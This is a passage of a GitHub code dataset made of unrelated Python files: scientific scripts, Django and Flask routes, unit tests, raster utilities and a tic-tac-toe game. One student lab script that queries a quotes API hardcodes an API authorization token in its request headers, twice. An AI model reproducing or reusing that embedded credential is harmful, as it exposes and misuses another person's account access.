steps=60000, threshold=0.9, file='logging.txt', num_run=12):\n coverage = []\n fitness = []\n used = []\n cost = []\n corr = []\n for i in range(num_run):\n logger = logging.getLogger(name='harmony{}'.format(str(i)))\n logger.setLevel(logging.INFO)\n handler = logging.FileHandler(os.path.join(self.log_dir, \"output{}.log\".format(i)))\n handler.setLevel(logging.INFO)\n formatter = logging.Formatter('%(levelname)s: %(message)s')\n handler.setFormatter(formatter)\n logger.addHandler(handler)\n \n ifitness, icover, iused, iusedconvert = self.run(type_init, min_valid, steps, threshold, i, logger)\n \n coverage.append(icover)\n fitness.append(ifitness)\n used.append(iused)\n corr.append(iusedconvert/25)\n cost.append(icover - iusedconvert/25)\n \n\n self.logger2.info('------------------------------------------------------------------------------------') \n self.logger2.info('------------------------------------------------------------------------------------') \n self.logger2.info(f'Coverage mean, std : {str(np.mean(coverage))} and {str(np.std(coverage))}')\n self.logger2.info(f'Used mean, std : {str(np.mean(used))} and {str(np.std(used))}')\n self.logger2.info(f'Corr Used mean, std : {str(np.mean(corr))} and {str(np.std(corr))}')\n self.logger2.info(f'Cost mean, std : {str(np.mean(cost))} and {str(np.std(cost))}')\n self.logger2.info(f'Fitness mean, std : {str(np.mean(fitness))} and {str(np.std(fitness))}')","repo_name":"ginlov/hsa","sub_path":"harmony_search.py","file_name":"harmony_search.py","file_ext":"py","file_size_in_byte":15478,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"27209224211","text":"'''\nJustin Young\nLab 09\nVersion2\n'''\n\nimport requests\nimport pprint\nimport time\n\ninc = 1\nu_term = input('enter a keyword to search for quotes: ')\np_num = 1\nurl = requests.get('https://favqs.com/api/quotes', params={'filter':{u_term}, 'page':{p_num}}, headers={'Authorization': 'Token token=\"855df50978dc9afd6bf86579913c9f8b\"'})\nquotes = url.json()['quotes']\nwhile True:\n print('-----------------------------------------------------------------------')\n print(f'There are {len(quotes)} quotes associated with {u_term} - page {p_num}')\n print('-----------------------------------------------------------------------')\n for q in quotes:\n print(q['body'])\n print('-----------------------------------------------------------------------')\n if url.json()['last_page'] == True:\n print('Thats all the quotes!!')\n break\n if url.json()['last_page'] == False:\n a = input(\"enter 'next page' or 'done': \")\n if a == 'done':\n break\n if a == 'next page':\n p_num += 1\n url = requests.get('https://favqs.com/api/quotes', params={'filter':{u_term}, 'page':{p_num}}, headers={'Authorization': 'Token token=\"855df50978dc9afd6bf86579913c9f8b\"'})\n quotes = url.json()['quotes']\n \n","repo_name":"PdxCodeGuild/class_HB2","sub_path":"code/justin/Python/lab09_version2.py","file_name":"lab09_version2.py","file_ext":"py","file_size_in_byte":1275,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"}
+{"seq_id":"33953740163","text":"from . import views\nfrom django.urls import path, include\nfrom rest_framework import routers\nrouter = routers.DefaultRouter()\nrouter.register('surveys', views.SurveyViewSet)\napp_name='query'\nurlpatterns = [\n path('surveys/',views.SurveyListView.as_view(),name='survey_list'),\n path('', include(router.urls)),\n]","repo_name":"Shuhratkh/test","sub_path":"api/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":316,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"74583565842","text":"import json\nimport logging\nimport multiprocessing as mp\nimport os\nimport subprocess\nimport tempfile\nfrom itertools import zip_longest\nfrom multiprocessing.pool import ThreadPool\n\nimport fiona\nimport numpy as np\nimport pyproj\nimport rasterio\nfrom packaging import version\nfrom pyproj.crs import CRS\nfrom pyproj.enums import WktVersion\nfrom rasterio.windows import Window\nfrom shapely.geometry import mapping\nfrom shapely.ops import transform\nfrom skimage import exposure\nfrom tqdm import tqdm\nfrom tqdm.contrib.logging import logging_redirect_tqdm\n\n__author__ = \"Damián Silvani\"\n__copyright__ = \"Dymaxion Labs\"\n__license__ = \"Apache-2.0\"\n\n_logger = logging.getLogger(__name__)\n\n\ndef grouper(iterable, n, fillvalue=None):\n \"Collect data into fixed-length chunks or blocks\"\n # grouper('ABCDEFG', 3, 'x') --> ABC DEF Gxx\"\n args = [iter(iterable)] * n\n return zip_longest(*args, fillvalue=fillvalue)\n\n\ndef sliding_windows(size, step_size, width, height, mode=\"exact\"):\n \"\"\"Slide a window of +size+ by moving it +step_size+ pixels\n\n Parameters\n ----------\n size : int\n window size, in pixels\n step_size : int\n step or *stride* size when sliding window, in pixels\n width : int\n image width\n height : int\n image height\n mode : str (default: 'exact')\n either one of 'exact', 'whole', 'whole_overlap'.\n - 'exact': clip windows at borders, if needed\n - 'whole': only whole windows\n - 'whole_overlap': only wohle windows, allow overlapping windows at borders.\n\n Yields\n ------\n Tuple[Window, Tuple[int, int]]\n a pair of Window and a pair of position (i, j)\n\n \"\"\"\n w, h = size\n sw, sh = step_size\n\n whole = mode in (\"whole\", \"whole_overlap\")\n end_i = height - h if whole else height\n end_j = width - w if whole else width\n\n last_pos_i, last_pos_j = 0, 0\n for pos_i, i in enumerate(range(0, end_i, sh)):\n for pos_j, j in enumerate(range(0, end_j, sw)):\n real_w = w if whole else min(w, abs(width - j))\n real_h = h if whole else min(h, abs(height - i))\n yield Window(j, i, real_w, real_h), (pos_i, pos_j)\n last_pos_i, last_pos_j = pos_i, pos_j\n\n if mode == \"whole_overlap\" and (height % sh != 0 or width % sw != 0):\n for pos_i, i in enumerate(range(0, height - h, sh)):\n yield Window(width - w, i, w, h), (\n pos_i,\n last_pos_j + 1,\n )\n for pos_j, j in enumerate(range(0, width - w, sw)):\n yield Window(j, height - h, w, h), (\n last_pos_i + 1,\n pos_j,\n )\n yield Window(width - w, height - h, w, h), (last_pos_i + 1, last_pos_j + 1)\n\n\ndef rescale_intensity(image, rescale_mode, rescale_range):\n \"\"\"\n Calculate percentiles from a range cut and\n rescale intensity of image to byte range\n\n Parameters\n ----------\n image : numpy.ndarray\n image array\n rescale_mode : str\n rescaling mode, either 'percentiles' or 'values'\n rescale_range : Tuple[number, number]\n input range for rescaling\n\n Returns\n -------\n numpy.ndarray\n rescaled image\n \"\"\"\n\n if rescale_mode == \"percentiles\":\n in_range = np.percentile(image, rescale_range, axis=(1, 2)).T\n elif rescale_mode == \"values\":\n min_value, max_value = rescale_range\n if min_value is None:\n min_value = np.min(image)\n if max_value is None:\n max_value = np.max(image)\n in_range = np.array([(min_value, max_value) for _ in range(image.shape[0])])\n elif rescale_mode == \"s2_rgb_extra\":\n in_range = np.percentile(image, rescale_range, axis=(1, 2)).T\n # Override first 3 ranges for (0, 0.3) (Sentinel-2 L2A TCI range)\n in_range[0] = (0, 0.3)\n in_range[1] = (0, 0.3)\n in_range[2] = (0, 0.3)\n else:\n raise RuntimeError(f\"unknown rescale_mode {rescale_mode}\")\n\n return np.array(\n [\n exposure.rescale_intensity(\n image[i, :, :], in_range=tuple(in_range[i]), out_range=(1, 255)\n ).astype(np.uint8)\n for i in range(image.shape[0])\n ]\n )\n\n\ndef write_chips_geojson(output_path, chip_pairs, *, chip_type, crs, basename):\n \"\"\"Write a GeoJSON containing chips polygons as features\n\n Parameters\n ----------\n output_path : str\n GeoJSON output path\n chip_pairs : Tuple[Shape, Tuple[int, int, int]]\n a pair with the chip polygon geometry, and a tuple of (feature id, x, y)\n chip_type : str\n chip file type extension (e.g. tif, jpg)\n crs : str\n CRS epsg code of chip polygon geometry\n basename : str\n basename of chip files\n\n Returns\n -------\n None\n\n \"\"\"\n if not chip_pairs:\n _logger.warn(\"No chips to save\")\n return\n\n _logger.info(\"Write chips geojson\")\n os.makedirs(os.path.dirname(output_path), exist_ok=True)\n\n with open(output_path, \"w\") as f:\n d = {\"type\": \"FeatureCollection\", \"features\": []}\n if crs != \"epsg:4326\":\n code = crs.split(\":\")[1]\n d[\"crs\"] = {\n \"type\": \"name\",\n \"properties\": {\"name\": f\"urn:ogc:def:crs:EPSG::{code}\"},\n }\n for i, (chip, (_fi, xi, yi)) in enumerate(chip_pairs):\n filename = f\"{basename}_{xi}_{yi}.{chip_type}\"\n feature = {\n \"type\": \"Feature\",\n \"geometry\": mapping(chip),\n \"properties\": {\"id\": i, \"x\": xi, \"y\": yi, \"filename\": filename},\n }\n d[\"features\"].append(feature)\n f.write(json.dumps(d))\n\n\ndef get_raster_band_count(path):\n \"\"\"Get raster band count\n\n Parameters\n ----------\n path : str\n path of the raster image\n\n Returns\n -------\n int\n band count\n\n \"\"\"\n with rasterio.open(path) as src:\n return src.count\n\n\ndef reproject_shape(shp, from_crs, to_crs, project=None):\n \"\"\"Reproject a shape from `from_crs` to `to_crs`\n\n Parameters\n ----------\n shp : Shape\n shape to reproject\n from_crs : str\n CRS epsg code of shape geometry\n to_crs : str\n CRS epsg code of reprojected shape geometry\n project : Optional[str]\n a Transformer instance to use for reprojection\n\n Returns\n -------\n Shape\n reprojected shape\n\n \"\"\"\n if from_crs == to_crs:\n return shp\n if project is None:\n project = pyproj.Transformer.from_crs(\n from_crs, to_crs, always_xy=True\n ).transform\n return transform(project, shp)\n\n\ndef proj_crs_from_fiona_dataset(fio_ds):\n return CRS.from_wkt(fio_ds.crs_wkt)\n\n\ndef fiona_crs_from_proj_crs(proj_crs):\n if version.parse(fiona.__gdal_version__) < version.parse(\"3.0.0\"):\n fio_crs = proj_crs.to_wkt(WktVersion.WKT1_GDAL)\n else:\n # GDAL 3+ can use WKT2\n fio_crs = proj_crs.to_wkt()\n return fio_crs\n\n\ndef build_virtual_raster(image_paths, output_path, separate=None, band=None):\n os.makedirs(os.path.dirname(output_path), exist_ok=True)\n # For some reason, relative paths wont work, so we get the absolute path of\n # each input image path.\n image_paths = [os.path.abspath(p) for p in image_paths]\n with tempfile.NamedTemporaryFile() as f:\n # Write a list of image files to a temporary file\n for image_path in image_paths:\n f.write(f\"{image_path}\\n\".encode())\n f.flush()\n output_path = os.path.abspath(output_path)\n run_command(\n f\"gdalbuildvrt -q -overwrite \"\n f\"-input_file_list {f.name} \"\n f\"{'-separate ' if separate else ''}\"\n f\"{f'-b {band} ' if band else ''}\"\n f\"{output_path}\",\n cwd=os.path.dirname(output_path),\n )\n\n\ndef run_command(cmd, quiet=True, *, cwd=None):\n \"\"\"Run a shell command\n\n Parameters\n ----------\n cmd : str\n command to run\n quiet : bool (default: True)\n silent output (stdout and sterr)\n\n Returns\n -------\n None\n\n \"\"\"\n stderr = subprocess.DEVNULL if quiet else None\n stdout = subprocess.DEVNULL if quiet else None\n subprocess.run(cmd, shell=True, stderr=stderr, stdout=stdout, check=True, cwd=cwd)\n\n\ndef map_with_threads(items, worker, num_jobs=None, total=None, desc=None):\n \"\"\"Map a worker function to an iterable of items, using a thread pool\n\n Parameters\n ----------\n items : iterable\n items to map\n worker : Function\n worker function to apply to each item\n num_jobs : int\n number of threads to use\n total : int (optional)\n total number of items (for the progress bar)\n desc : str (optional)\n description of the task (for the progress bar)\n\n Returns\n -------\n None\n\n \"\"\"\n if not total:\n total = len(items)\n if not num_jobs:\n num_jobs = mp.cpu_count()\n with ThreadPool(num_jobs) as pool:\n with logging_redirect_tqdm():\n with tqdm(total=len(items), ascii=True, desc=desc) as pbar:\n for _ in enumerate(pool.imap_unordered(worker, items)):\n pbar.update()\n","repo_name":"dymaxionlabs/satproc","sub_path":"satproc/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":9173,"program_lang":"python","lang":"en","doc_type":"code","stars":34,"dataset":"github-code","pt":"3"}
+{"seq_id":"35200509438","text":"from whoosh.index import create_in\nfrom whoosh.fields import *\n\nschema = Schema(title=TEXT(stored=True), path=ID(stored=True), content=TEXT)\nix = create_in(\".\", schema)\nwriter = ix.writer()\nwriter.add_document(title=u\"First document\", path=u\"/a\",\n content=u\"This is the first document we've added!\")\nwriter.add_document(title=u\"Second document\", path=u\"/b\",\n content=u\"The second one is even more interesting!\")\nwriter.commit()\n\nfrom whoosh.qparser import QueryParser\nwith ix.searcher() as searcher:\n query = QueryParser(\"content\", ix.schema).parse(\"first\")\n results = searcher.search(query)\n print(results[0])\n","repo_name":"ContinuumIO/anaconda-recipes","sub_path":"whoosh/run_test.py","file_name":"run_test.py","file_ext":"py","file_size_in_byte":658,"program_lang":"python","lang":"en","doc_type":"code","stars":117,"dataset":"github-code","pt":"3"}
+{"seq_id":"19928588577","text":"\n#There are two methods to read from a file.\n#Method 1\n\nf1 = open('File IO/data.txt' , 'r') # 'r' represent 'read mode'.\ns1=f1.read()\nf1.close() \nprint(s1)\n#Method 2\n\nwith open('File IO/data.txt','r') as f2:\n s2=f2.read()\n print(s2)\n# Method 2 doesn't requires file closing","repo_name":"taahahussainkhan/Python","sub_path":"File Input-Output/read.py","file_name":"read.py","file_ext":"py","file_size_in_byte":282,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"}
+{"seq_id":"29255009567","text":"from unittest import mock\nimport pytest\nfrom io import StringIO\nfrom maps.pylibs.utils.lib import process\n\nfrom maps.garden.sdk.core import Version\nfrom maps.garden.sdk.resources import FileResource\n\nfrom maps.garden.sdk.extensions import exec_embedded_tool_task as exec_task\n\nTEST_BIN_RESOURCE_PATH = \"/garden/test_bin\"\nWRONG_BIN_RESOURCE_PATH = \"/garden/wrong_bin\"\n\n\ndef test_unexistent_resource_name():\n task = exec_task.DeprecatedExecEmbeddedToolTask(\n resource_key=\"unexistent_name\",\n arg_templates=[])\n\n with pytest.raises(TypeError):\n task()\n\n\ndef test_wrong_binary():\n task = exec_task.DeprecatedExecEmbeddedToolTask(\n resource_key=WRONG_BIN_RESOURCE_PATH,\n arg_templates=[])\n\n with pytest.raises(RuntimeError) as e:\n task()\n\n assert \"[Errno 8] Exec format error\" in str(e.value)\n\n\n@mock.patch('sys.stderr', new_callable=StringIO)\n@mock.patch('sys.stdout', new_callable=StringIO)\ndef test_success(mock_stdout, mock_stderr):\n task = exec_task.DeprecatedExecEmbeddedToolTask(\n resource_key=TEST_BIN_RESOURCE_PATH,\n arg_templates=[])\n task()\n assert mock_stdout.getvalue() == 'Hello, world!'\n assert mock_stderr.getvalue() == 'Hello, errors!'\n\n\n@mock.patch('sys.stdout', new_callable=StringIO)\ndef test_good_argument(mock_stdout):\n task = exec_task.DeprecatedExecEmbeddedToolTask(\n resource_key=TEST_BIN_RESOURCE_PATH,\n arg_templates=[\"check argument\"])\n task()\n assert mock_stdout.getvalue() == 'good argument'\n\n\ndef test_bad_argument():\n task = exec_task.DeprecatedExecEmbeddedToolTask(\n resource_key=TEST_BIN_RESOURCE_PATH,\n arg_templates=[\"bad argument\"])\n\n with pytest.raises(process.ExecutionFailed) as e:\n task()\n\n assert e.value.err == \"bad argument `bad argument`\"\n\n\n@mock.patch('sys.stdout', new_callable=StringIO)\ndef test_format_env(mock_stdout):\n task = exec_task.DeprecatedExecEmbeddedToolTask(\n resource_key=TEST_BIN_RESOURCE_PATH,\n arg_templates=[\"check environment\"],\n env={\"var_name\": \"{param}\"})\n task(extra_strings={\"param\": \"good value\"})\n assert mock_stdout.getvalue() == 'good environment'\n\n\ndef _construct_resource(environment_settings):\n resource = FileResource(\"name\", \"name\")\n resource.version = Version()\n resource.load_environment_settings(environment_settings)\n resource.exists = False\n return resource\n\n\n@mock.patch('sys.stdout', new_callable=StringIO)\ndef test_input_stream(mock_stdout, environment_settings):\n resource = _construct_resource(environment_settings)\n\n with resource.open(\"w\") as f:\n f.write(\"good data\")\n\n task = exec_task.DeprecatedExecEmbeddedToolTask(\n resource_key=TEST_BIN_RESOURCE_PATH,\n arg_templates=[\"check stdin\"])\n task(stdin=resource)\n assert mock_stdout.getvalue() == 'good data'\n\n\ndef test_output_streams(environment_settings):\n resource = _construct_resource(environment_settings)\n\n task = exec_task.DeprecatedExecEmbeddedToolTask(\n resource_key=TEST_BIN_RESOURCE_PATH,\n arg_templates=[\"check argument\"])\n task(stdout=resource)\n\n with resource.open(\"r\") as f:\n out_data = f.readline()\n assert out_data == \"good argument\"\n","repo_name":"Alexander-Berg/2022-tests-examples","sub_path":"maps/tests/test_exec_embedded_tool_task.py","file_name":"test_exec_embedded_tool_task.py","file_ext":"py","file_size_in_byte":3244,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"5376439087","text":"from flask import redirect, request, g\n\nimport zeton.data_access\nfrom zeton import auth\nfrom zeton.api import bp\n\n\n@bp.route(\"/ban//\", methods=['POST'])\n@auth.login_required\n@auth.logged_child_or_caregiver_only\ndef give_ban(child_id, ban_type):\n logged_user_id = g.user_data['id']\n ten_minutes = 10\n\n if ban_type == 'warn':\n zeton.data_access.bans.give_warn(child_id, logged_user_id)\n elif ban_type == 'kick':\n zeton.data_access.bans.give_kick(child_id, logged_user_id)\n elif ban_type == 'ban':\n zeton.data_access.bans.give_ban(child_id, ten_minutes, logged_user_id)\n\n return redirect(request.referrer)\n","repo_name":"tgbdc7/zeton","sub_path":"zeton/api/bans.py","file_name":"bans.py","file_ext":"py","file_size_in_byte":662,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"3"}
+{"seq_id":"30709543676","text":"import logging\nfrom configuration.config_loader import Configuration\nimport services.registry_service as registry_service\nimport services.project_service as project_service\nimport services.parameter_context_service as parameter_context_service\nimport services.user_service as user_service\nimport services.user_group_service as user_group_service\nimport services.access_policy_service as access_policy_service\n\n\ndef process(configuration: Configuration):\n logger = logging.getLogger(__name__)\n\n try:\n if configuration.security.is_coordinated:\n access_policy_service.init_access_policies_descriptors()\n\n for cluster in configuration.clusters:\n cluster.test_connectivity()\n\n for cluster in list(filter(lambda c: c.is_reachable, configuration.clusters)):\n logger.info(f'Setting registry clients for cluster: {cluster.name}')\n registry_service.sync(cluster, configuration.registries)\n\n if configuration.security.is_coordinated:\n logger.info(f'Setting users for cluster: {cluster.name}')\n user_service.sync(cluster, configuration.security.users)\n\n logger.info(f'Setting user groups for cluster: {cluster.name}')\n user_group_service.sync(cluster, configuration.security.user_groups, configuration.security.users)\n\n logger.info(f'Setting global access policies for cluster: {cluster.name}')\n access_policy_service.sync_global_policies(cluster, configuration.security)\n\n logger.info(f'Setting parameter contexts for cluster: {cluster.name}')\n parameter_context_service.sync(cluster, configuration.parameter_contexts)\n\n logger.info(f'Setting projects for cluster: {cluster.name}')\n project_service.sync(cluster, configuration.projects, configuration.parameter_contexts)\n\n if configuration.security.is_coordinated:\n logger.info(f'Setting component access policies for cluster: {cluster.name}')\n access_policy_service.sync_component_policies(cluster, configuration.security, configuration.projects)\n\n except Exception as exception:\n logger.warning(exception)\n","repo_name":"plexsystems/nifi-cluster-coordinator","sub_path":"nifi_cluster_coordinator/worker.py","file_name":"worker.py","file_ext":"py","file_size_in_byte":2214,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"3"}
+{"seq_id":"30398544634","text":"# %%\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nimport pandas as pd\r\nfrom scipy.interpolate import CubicSpline\r\nimport ares\r\nfrom math import ceil\r\n\r\n# %%\r\n#loading the EDGES data (the e subscipt is related to EDGES)\r\ndata_1 = pd.read_csv('/home/o/oscarh/aryanah/My-Project/data/data_1.csv')\r\nfreq_e = data_1.iloc[:,0] #frequency, MHz\r\n\r\n#Changing the axis from frequency to redshift\r\nv_0 = 1420 #MHz, frequency of 21cm line\r\nz_e = (v_0/freq_e)-1 #conversion of frequency to redshift\r\n\r\n# %%\r\ndef dict_to_list(d): #converts dictionary to two lists (key and value)\r\n #d must be a dictionary containing the value of parameters and their names\r\n key = list(d.keys())\r\n value = list(d.values())\r\n return value, key\r\n\r\ndef list_to_dict(value, key): #converts two lists (key and value) to a dictionary\r\n #value is a list of parameters' values\r\n #key is a list of parameters' names\r\n return dict(zip(key, value))\r\n\r\ndef call_ares (params, redshifts): \r\n #params should be a dictionary\r\n value, key = dict_to_list(params)\r\n \r\n value_denormalized = np.array(value, dtype='float64')\r\n value_denormalized[0] = 10** (value[0])\r\n value_denormalized[1] = 10** (value[1])\r\n value_denormalized[2] = 10** (value[2])\r\n params_denormalized = list_to_dict(value_denormalized, key)\r\n \r\n #running ares\r\n sim = ares.simulations.Global21cm(**params_denormalized, verbose=False, progress_bar=False)\r\n sim.run()\r\n z = sim.history['z'][::-1]\r\n dTb = sim.history['dTb'][::-1]\r\n z = z[z<50]\r\n dTb = dTb[:len(z)]\r\n spline = CubicSpline(z, dTb)\r\n \r\n return spline(redshifts) \r\n\r\ndef func_ares (m, z, d = 1E6): \r\n #I can further change this function to include the best dx - 4*int(1E5) is the best number I found so far\r\n #m is the list of params \r\n #z is the redshift range\r\n #y is the brightness temp\r\n m = np.array(m)\r\n T = call_ares(list_to_dict(m, key), z)\r\n derivs = np.zeros([len(z), len(m)])\r\n dpars = np.zeros(len(m))\r\n dpars = m/d \r\n for i in range(len(m)): \r\n pars_plus = np.array(m, copy=True, dtype = 'float64')\r\n pars_plus[i] = pars_plus[i] + dpars[i]\r\n \r\n pars_minus = np.array(m, copy=True, dtype = 'float64')\r\n pars_minus[i] = pars_minus[i] - dpars[i]\r\n \r\n A_plus = call_ares (list_to_dict(pars_plus, key), z)\r\n A_minus = call_ares (list_to_dict(pars_minus, key), z)\r\n A_m = (A_plus - A_minus)/(2*dpars[i])\r\n derivs[:, i] = A_m \r\n return T, derivs\r\n\r\ndef cov_mat_calc(mat):\r\n dim = mat.shape[0]\r\n cov=(mat.T@mat)/dim\r\n return cov\r\n\r\ndef chisquare (pars, data, err): #returns the chi-square of two 21cm curves - err can be a number/array\r\n pred = call_ares(list_to_dict(pars, key), z_e)\r\n chisq = np.sum((pred-data)**2/err**2)\r\n return chisq\r\n\r\ndef draw_samples(covariance_matrix, nset):\r\n #normalizing the covariance matrix\r\n D = np.diag(np.diag(covariance_matrix)) #diagonal matrix of covariance matrix\r\n D_sqrt = np.sqrt(D)\r\n D_inv_sqrt = np.linalg.inv(D_sqrt)\r\n covariance_matrix_normalized = D_inv_sqrt @ covariance_matrix @ D_inv_sqrt #normalized covariance matrix\r\n\r\n e,v = np.linalg.eigh(covariance_matrix_normalized)\r\n e[e<0]=0 #make sure we don't have any negative eigenvalues due to roundoff\r\n n = len(e)\r\n\r\n #make gaussian random variables\r\n g=np.random.randn(n, nset)\r\n\r\n #now scale them by the square root of the eigenvalues\r\n rte=np.sqrt(e)\r\n for i in range(nset):\r\n g[:,i]=g[:,i]*rte\r\n\r\n #and rotate back into the original space\r\n samples = (v@g).T\r\n samples_denormalized = samples @ D_sqrt\r\n return samples_denormalized\r\n\r\n#Defining the MCMC chain\r\ndef mcmc(fun_chisq, start_guess, covariance_matrix, data, err, nstep):\r\n samples = draw_samples(covariance_matrix, nstep)\r\n\r\n #definig the chain\r\n chain = np.empty((nstep, len(start_guess)))\r\n chain[0, :] = start_guess\r\n \r\n #defining the chi-square array\r\n chisq = np.zeros(nstep)\r\n chisq[0] = fun_chisq(start_guess, data, err)\r\n\r\n #defining the acceptance ratio\r\n acceptance_ratio = 0\r\n \r\n #the chain \r\n for i in range(1, nstep):\r\n #print('iteration number', i, 'of', nstep) \r\n new_param = samples[i, :] + chain[i-1, :]\r\n \r\n try:\r\n new_chisq = fun_chisq(new_param, data, err)\r\n except:\r\n new_chisq = 1E7\r\n \r\n if new_chisq <= chisq[i-1]:\r\n acceptance_ratio = acceptance_ratio + 1\r\n chisq[i] = new_chisq\r\n chain[i, :] = new_param \r\n \r\n else :\r\n if np.random.rand(1) 8 or movimiento < 0):\r\n print(\"Movimiento Ilegal mayormenor\")\r\n return False\r\n elif tablero [movimiento] == \"X\" or tablero[movimiento] == \"O\":\r\n print(\"Movimiento Ilegal ocupado\")\r\n return False\r\n else:\r\n return True\r\n\r\nif __name__ == '__main__':\r\n tablero = [0,1,2,3,4,5,6,7,8]\r\n end = False\r\n legal_move = False\r\n n_turno = 0\r\n\r\n\r\n\r\n while (n_turno < 9):\r\n while (n_turno % 2 == 0):\r\n movimiento = int(input(\"¿Cual es el movimiento de X?\"))\r\n if (check_legal(tablero, movimiento) == True):\r\n tablero[movimiento] = \"X\"\r\n n_turno += 1\r\n print_board(tablero)\r\n if check_win(tablero,n_turno) == True:\r\n break\r\n while (n_turno % 2 == 1 and n_turno !=9):\r\n movimiento = int(input(\"¿Cual es el movimiento de Ø?\"))\r\n if (check_legal(tablero,movimiento) == True):\r\n tablero[movimiento] = \"Ø\"\r\n print_board(tablero)\r\n n_turno += 1\r\n if check_win(tablero, n_turno) == True:\r\n break\r\n if n_turno == 9:\r\n print(\"Empate\")\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"Neldesh/TicTacToe","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3165,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"41028779195","text":"import numpy as np\nimport openpnm as op\nfrom numpy.testing import assert_allclose\n\n\nclass DiffusiveConductanceTest:\n\n def setup_class(self):\n self.net = op.network.Cubic(shape=[5, 5, 5])\n self.net['pore.diameter'] = 1.0\n self.net['throat.diameter'] = 0.5\n self.net['pore.area'] = 1.0\n self.net['throat.cross_sectional_area'] = 1.0\n self.phase = op.phase.Phase(network=self.net)\n self.phase['pore.diffusivity'] = 1.3\n self.phase['pore.molecular_weight'] = 0.029\n self.phase['pore.temperature'] = 345.0\n self.size_factors = np.ones([self.net.Nt, 3])*(0.123, 0.981, 0.551)\n\n def test_generic_diffusive_size_factors_as_dict(self):\n self.net['throat.diffusive_size_factors'] = self.size_factors\n mod = op.models.physics.diffusive_conductance.generic_diffusive\n self.phase.add_model(propname='throat.diffusive_conductance', model=mod)\n self.phase.regenerate_models()\n actual = self.phase['throat.diffusive_conductance'].mean()\n assert_allclose(actual, desired=0.091204832 * 1.3)\n del self.net[\"throat.diffusive_size_factors\"]\n\n def test_generic_diffusive_size_factors_as_array(self):\n self.net['throat.diffusive_size_factors'] = 0.896\n mod = op.models.physics.diffusive_conductance.generic_diffusive\n self.phase.add_model(propname='throat.diffusive_conductance', model=mod)\n self.phase.regenerate_models()\n actual = self.phase['throat.diffusive_conductance'].mean()\n assert_allclose(actual, desired=0.896 * 1.3)\n del self.net[\"throat.diffusive_size_factors\"]\n\n def test_generic_diffusive_partial_domain(self):\n net = op.network.Cubic(shape=[5, 5, 5])\n phase = op.phase.Phase(network=net)\n phase.set_label('pore.left', pores=net['pore.left'])\n phase.set_label(label='left',\n throats=net.find_neighbor_throats(net.pores('left')))\n phase['pore.diffusivity'] = 1.3\n net['throat.diffusive_size_factors'] = 0.5\n mod = op.models.physics.diffusive_conductance.generic_diffusive\n phase.add_model(propname='throat.diffusive_conductance',\n model=mod,\n domain='left',\n regen_mode='deferred')\n phase.regenerate_models()\n actual = phase['throat.diffusive_conductance'].mean()\n # assert_allclose(actual, 0.65)\n # assert len(phase['throat.diffusive_conductance']) == 5\n\n def test_ordinary_diffusion_size_factors_given_as_dict(self):\n self.net['throat.diffusive_size_factors'] = self.size_factors\n mod = op.models.physics.diffusive_conductance.ordinary_diffusion\n self.phase.add_model(propname='throat.diffusive_conductance', model=mod)\n self.phase.regenerate_models()\n actual = self.phase['throat.diffusive_conductance'].mean()\n assert_allclose(actual, desired=0.091204832 * 1.3)\n del self.net[\"throat.diffusive_size_factors\"]\n\n def test_ordinary_diffusion_size_factors_given_as_array(self):\n self.net['throat.diffusive_size_factors'] = 0.896\n mod = op.models.physics.diffusive_conductance.ordinary_diffusion\n self.phase.add_model(propname='throat.diffusive_conductance', model=mod)\n self.phase.regenerate_models()\n actual = self.phase['throat.diffusive_conductance'].mean()\n assert_allclose(actual, desired=0.896 * 1.3)\n del self.net[\"throat.diffusive_size_factors\"]\n\n def test_mixed_diffusion(self):\n self.net['throat.diffusive_size_factors'] = self.size_factors\n mod = op.models.physics.diffusive_conductance.mixed_diffusion\n self.phase.add_model(propname='throat.diffusive_conductance', model=mod)\n self.phase.regenerate_models()\n actual = self.phase['throat.diffusive_conductance'].mean()\n assert_allclose(actual, desired=0.117568, rtol=1e-5)\n del self.net[\"throat.diffusive_size_factors\"]\n\n # def test_multiphase_diffusion(self):\n # net = op.network.Cubic(shape=[1, 6, 1])\n # net['throat.diffusive_size_factors'] = self.size_factors_dict\n # air = op.phase.Air(network=net)\n # water = op.phase.Water(network=net)\n # water['pore.diffusivity'] = 1e-11\n # from openpnm import contrib\n # m = contrib.MultiPhase(network=net, phases=[air, water])\n # m.set_occupancy(phase=air, pores=[0, 1, 2])\n # m.set_occupancy(phase=water, pores=[3, 4, 5])\n # const = op.models.misc.constant\n # K_water_air = 0.5\n # m.set_binary_partition_coef(phases=[water, air], model=const, value=K_water_air)\n # m._set_automatic_throat_occupancy()\n # mdiff = op.models.physics.diffusive_conductance.multiphase_diffusion\n # m.add_model(propname=\"throat.diffusive_conductance\", model=mdiff)\n # g = m[\"throat.diffusive_conductance\"]\n # # Diffusive conductance for MultiPhase must be Nt by 2 (not Nt by 1)\n # assert g.shape == (net.Nt, 2)\n # # Columns 1, 2 of conductance must be equal except for interface throat\n # assert_allclose(g[:, 0][[0, 1, 3, 4]], g[:, 1][[0, 1, 3, 4]])\n # # G12 and G21 at interface must differ (ratio must be K_water_air)\n # assert_allclose(g[2, 0] / g[2, 1], 1 / K_water_air)\n # assert_allclose(g.mean(), 7.64303956e-7, rtol=1e-5)\n\n def test_taylor_aris_diffusion(self):\n self.net['throat.diffusive_size_factors'] = self.size_factors\n self.phase['pore.pressure'] = np.linspace(0, 20, self.net.Np)\n self.phase['throat.hydraulic_conductance'] = 1\n mod = op.models.physics.diffusive_conductance.taylor_aris_diffusion\n self.phase.add_model(propname='throat.diffusive_conductance', model=mod)\n self.phase.regenerate_models()\n actual = np.array([\n 